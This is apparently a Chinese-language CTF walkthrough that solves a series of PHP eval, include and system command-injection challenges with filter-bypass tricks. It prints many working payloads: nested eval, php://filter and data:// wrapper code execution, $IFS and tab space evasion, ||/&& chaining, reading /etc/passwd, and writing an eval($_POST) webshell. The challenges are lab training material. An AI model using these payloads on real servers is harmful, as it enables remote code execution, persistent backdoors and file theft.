目录
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval()
直接传参
第一种方法
?c=system('ls');
?c=system('tac f*');
第二种
?c=system('cp f* 1.txt');
访问1.txt
第三种
highlight_file(next(array_reverse(scandir("."))));
解释:具体来说,
scandir(".")
函数会返回当前文件所在目录下的所有文件和目录的名称列表,并以数组的形式返回。然后,array_reverse()
函数会将该数组翻转,使得最后修改的文件排在数组的第一个位置。接着,next()
函数会返回该数组的第一个元素,即最后修改的文件的名称。第四种 尝试写木马
file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);
?第五种?
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
include可以和过滤器联合使用
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php知识点?
1 eval函数可以理解为代码执行 动态执行php代码
2 system函数可以理解为命令执行 执行shell命令
3 php最后一个语句可以没有分号
eval(phpinfo()) 无输出结果
eval(phpinfo();)有输出结果
eval(phpinfo()?>) 有输出结果
4?file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=`cp f* 1.txt`;
知识点:反引号在php中类似于system函数 可以执行shell命令
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?连点都被过滤了
可以嵌套一个eval
?c=eval($_GET[1]);&1=phpinfo();
为什么要嵌套?c=$_GET[1]&1=phpinfo();不行嘛
不行 如果不使用函数是无法获取到变量的 简单理解就行不要想深
?c=eval($_GET[1]);&1=system('ls');
?c=eval($_GET[1]);&1=system('tac f*');
知识点 这就逃逸出来了参数1的值不属于参数c的内容 所以检测不到
第二种方法
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())返回一个. 硬背就行
scandir()获取当前目录下的文件名组成一个数组 按照顺序进行排序 最后修改在最后面
array_reverse()翻转数组
next()获取第一个数组的值
show_source()展示页面源代码
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
空格单引号反引号 还有括号都给禁用了?
知识点:include可以读取非php文件内容输出直接输出到页面,当使用
include
包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器/?c=include%0a$_GET[1]?>&1=/etc/passwd 输出该文件内容
二进制文件也是可以输出的/?c=include%0a$_GET[1]?>&1=/bin/ls
?c=include%0a$_GET[1]?>&1=flag.php 虽然包含了但是因为是php文件所以不输出?
但是可以使用过滤器
php://filter/read=convert.base64-encode/resource=flag.php
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
我的理解就是 过滤器获取到php文件的内容后生成了base64编码后的字符串 include包含进来 无法判定是php代码 所以直接进行输出 然后进行解码即可
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
使用上一关payload即可多加了一个双引号 无影响
使用require也行和include一个效果都是用于文件包含
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了冒号 没用 上一题payload也行 因为他识别c的内容 虽然通过1给c传值 但是1的值不属于c?
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
知识点
?c=print%0a$_GET[1]?>&1=phpinfo() 会输出字符串phpinfo()
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
又过滤了<和= 没用 依旧使用上一题payload即可
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤了1-9
第一种方法
?c=require%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
第二种方法
data://text/plain
是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system("cat fla*");?>
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
包含一个文件$c 显然$c的值不能是flag.php
那就使用伪协议
对于我的理解: 过程就是使用data伪协议传输数据流 include包含这个数据流 包含进来服务器就会php识别出为php代码从而执行php代码 如果不是php代码include包含进来就自动输出到页面中
第一种方法
?c=data://text/plain,<?php%20system("cat%20fla*");?>
第二种方法
因为是过滤了flag还可以这么写
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg===<?php system('cat flag.php');?>
过程就是data将数据传给变量c 然后include包含后 数据流进行解密然后执行代码
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
禁用了php 可以使用上一题的第二种方法也可以
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
上一题的第一种方法改变一下写法也可以
?c=data://text/plain,<?=system("tac fla*")?>
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
强制在include后方加.php? 无影响
?c=data://text/plain,<?php%20system("cat%20fla*");?>
举个例子 使用phpinfo()?
?c=data://text/plain,<?php%20phpinfo();?>?
include会包含?<?php%20phpinfo();?> .php 服务器识别出php代码从而执行默认会将phpinfo结果输出页面? 然后.php字符串 前面也说了include包含纯文本内容会将页面内容输出 所以在最下方会输出.php
<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
get_defined_vars()
是一个 PHP 内置函数,用于返回当前作用域中所有已定义的变量和它们的值。?c=print_r(
get_defined_vars());
加上post参数1=phpinfo();
?c=print_r(next(get_defined_vars()));
输出
?c=print_r(array_pop(next(get_defined_vars())));
对数组的值进行弹出 也就是键值对 的值弹出
执行即可
?c=eval(array_pop(next(get_defined_vars())));
GET:? ?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('ls');
GET:? ?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac flag.php');
有难度可以练习脚本 留着以后弄
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
system($c." >/dev/null 2>&1");
将$c的输出 输出到黑洞中 错误输出(2)输出到标准输出(1)输出的位置 也就代表标准输出和错误输出都输出到黑洞?
解决方案就是 双写绕过
?c=ls;ls 就变成了system(ls;ls." >/dev/null 2>&1"); 第二个ls的输出 输出到黑洞中 第一个ls正常输出到页面中 这个姿势就是双写绕过
或者
?c=tac%20flag.php%0a 就变成了
system(tac%20flag.php
." >/dev/null 2>&1");
这种格式 能输出 黑洞获取不到任何信息
或者
?c=cat%20flag.php;&2 和双写一个意思 就是正常输出第一个语句 然后&2>/dev/null
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
把分号过滤了 不能使用双写方式绕过
上一题的第二种方法或者换一个更有意思的姿势
?c=tac%20flag.php&& 就变成了
system(tac%20flag.php&&." >/dev/null 2>&1");?
&& 和and差不多意思 前面的语句执行成功才会执行后面的语句
传参的时候要将&&进行url编码%26%26 因为&在传参中会被识别为参数的分隔符
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了flag 用通配符即可绕过
?c=tac%20fl*%26%26
?c=tac%20fl*%0a
知识点:nl和cat一样效果
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了空格 使用%09 意思就是tab 四个空格的位置
?c=tac%09fl*%26%26
换一个姿势
?c=echo$IFS`tac%09fl*`%0A
echo$IFS $IFS里面包含空格制表符等?
翻译号的效果和system效果一样?
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
不能有*和数字
换一个通配符?即可?c=tac%09fla?.php%26%26?
这个%09%26中的数字 是匹配不到的 因为到服务器端后 %09就变成tab键的四个空格 %26就变成&了
换一个姿势
?c=nl<fla%27%27g.php%7C%7C
将flag.php的内容 输入给nl 然后nl进行输出?
fl''ag代表的就是flag?
|| 有一个真则为真?
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
禁用了很多输出字符的命令 但是依旧没有禁用tac nl使用上一题poyload即可
?c=nl<fla%27%27g.php%7C%7C
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了更多读取文件的命令 依旧没有过tac nl 继续白嫖
这两道题告诉我们 木桶原则太重要了 只要有一个出现问题 其余再好也没用
?c=nl<fla%27%27g.php%7C%7C
<?php 、if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
同理 说一嘴在这里传参直接传||就可以不用url编码也是可以的
?c=nl<fla%27%27g.php%7C%7C
?c=nl<fla%27%27g.php||
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个时候 x09 x26都没了 不影响我们的payload
?c=nl<fla%27%27g.php||?
在这里又说一嘴 在这里为什么不能用?通配符 解释:nl不支持 所以使用两个单引号也行
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
可算过滤了tac了 但是还有nl
?c=nl<fla%27%27g.php||?
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了<? 但是没有过滤$
nc用不了了
知识点$IFS是可以被正则匹配到的 $IFS在shell中代表空格制表符 所以前提是system执行时他才代表制表符等
?c=cp$IFSfla?.php$IFSa.txt|| 不行
可能就是没有写权限 试一下mv 也不行?c=mv$IFSfla?.php$IFSa.txt|| 也不行
换一种写法 就可以了 也不知道什么原因 硬背就行 当是一个姿势 知道原因了
如果不使用花括号,shell 可能会将变量的名称与其他字符连接在一起,导致无法正确解析变量
?c=cp${IFS}fla?.php${IFS}a.txt||
?c=mv${IFS}fla?.php${IFS}a.txt||
flag并没有在里面 看来是假的flag
?c=ls$IFS/||
?c=pwd||
?c=mv${IFS}/fla?${IFS}/var/www/html/d.txt|| 不可以
?c=cp${IFS}/fla?${IFS}d.txt|| 在根目录下不存在
?c=cp${IFS}/fla?${IFS}/var/www/html/d.txt|| 可以
换个姿势 前提知道文件位置 nl用来读取文件
?c=nl${IFS}/fla%27%27g||